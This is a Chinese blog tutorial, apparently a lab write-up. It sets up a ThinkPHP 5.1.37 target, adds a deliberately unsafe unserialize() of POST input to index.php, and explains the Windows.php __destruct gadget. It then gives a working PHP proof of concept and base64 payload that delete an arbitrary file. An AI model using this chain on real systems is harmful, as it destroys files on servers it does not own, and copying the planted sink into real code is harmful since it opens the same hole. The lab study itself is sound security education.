当前位置: 首页 > news >正文

反序列化漏洞4-Thinkphp5.4靶场安装及Thinkphp反序列化漏洞任意文件删除演示

一.Thinkphp5.4靶场安装

安装环境所需

虚拟机:win10-1903

安装包:

将这三个压缩包导入win10虚拟机并解压缩:

常规安装下一步即可:

注意如果跳出:一定要点击下载这个。

安装完成后:
进入小皮将WNMP里面换成Apache。

然后启动;

我们ipconfig查看win10ip地址:192.168.105.199

我们将源码解压后转到网站目录下:

然后物理机访问浏览器:

http://192.168.105.199/think-5.1.37/public/

到这里环境搭建就完成了。

我们再将:

$s = base64_decode($_POST['key']);
unserialize($s);
加入到index.php文件中:
然后我们再去访问浏览器:
报错是因为,我们刚加的key参数这里没有传参:
我们这里随便传一个参数就不会报错了。

二.ThinkPHP 反序列化漏洞任意文件删除

漏洞存在位置: C:\phpstudy_pro\WWW\think5.1.37\thinkphp\library\think\process\pipes\Windows.php
Windows.php 中定义了__destruct 当一个对象销毁时被调用,此时执行 removeFiles()方法。
我们将源代码导入到我们的审计工具中:
点左上角新建项目导入我们想要查看的文件。
然后全局搜索:__destruct
最下面的windows的就是我们的目标文件:
双击打开
可以看到__destruct里面定义了两个方法,而removefile就是删除文件的方法:
我们在左边函数列表寻找到remove方法双击点开:
查找 removeFiles 函数可以看到这个函数中使用了$this->files 而 files 是可控的。
Filename 通过 this->files 获取文件路径,然后 file_exists 判断 filename 文件路径是否存在,如
果存在则通过@unlink 删除文件。
原理解释完毕,下面给出poc:
<?php
//引用命名空间和 Pipes 类
namespace think\process\pipes;
class Pipes{}
//Windows 类
class Windows extends Pipes
{
//files 属性
private $files = [];
//__construct 魔术方法
public function __construct()
{
//$this->files 属性的值修改为我们要删除的文件
$this->files=['c:\\fjw.txt'];
}
}
//base64 输出序列化后的 Windows 对象
echo base64_encode(serialize(new Windows()));
?>
我们拿到kali或者centos里面都可以:
然后运行复制结果:
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjEwOiJjOlxmancudHh0Ijt9fQ==
然后我们在php中创建一个fjw.txt:
然后在hackbar里面构造:
key=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjEwOiJjOlxmancudHh0Ijt9fQ==
点击EXECUTE执行,然后查看:
看到执行成功任意文件删除。
http://www.lryc.cn/news/593981.html

相关文章:

  • 讲座|人形机器人多姿态站起控制HoST及宇树G1部署
  • python学智能算法(二十六)|SVM-拉格朗日函数构造
  • 什么是 ELK/Grafana
  • C#.NET EFCore.BulkExtensions 扩展详解
  • 手写tomcat
  • LINUX720 SWAP扩容;新增逻辑卷;逻辑卷扩容;数据库迁移;gdisk
  • DAY 20 奇异值分解(SVD)
  • RocketMQ核心编程模型
  • 咨询进阶——解读业务流程优化与重组【附全文阅读】
  • 5.2.4 指令执行过程
  • 【原创】微信小程序添加TDesign组件
  • ChatIM项目语音识别安装与使用
  • ARFoundation系列讲解 - 101 VisionPro 真机调试
  • USRP B210生成信号最大带宽测试之BPSK
  • 人脸识别:AI 如何精准 “认人”?
  • FreeSwitch编译部署
  • 【星海出品】python安装调试篇
  • 【数据集】NOAA 全球监测实验室(GML)海洋边界层(MBL)参考简介
  • Docker实践:使用Docker部署WhoDB开源轻量级数据库管理工具
  • 传输层协议 TCP
  • Java什么是原子性
  • Java SpringBoot 对接FreeSwitch
  • AtCoder Beginner Contest 415
  • Web-SQL注入数据库类型用户权限架构分层符号干扰利用过程发现思路
  • 向日葵远程命令执行漏洞
  • 《深入C++多态机制:从虚函数表到运行时类型识别》​
  • IDEA中使用Tomcat两种方式
  • C51单片机学习笔记——定时器与中断
  • API接口签名和敏感信息加密使用国密SM方案
  • 上电复位断言的自动化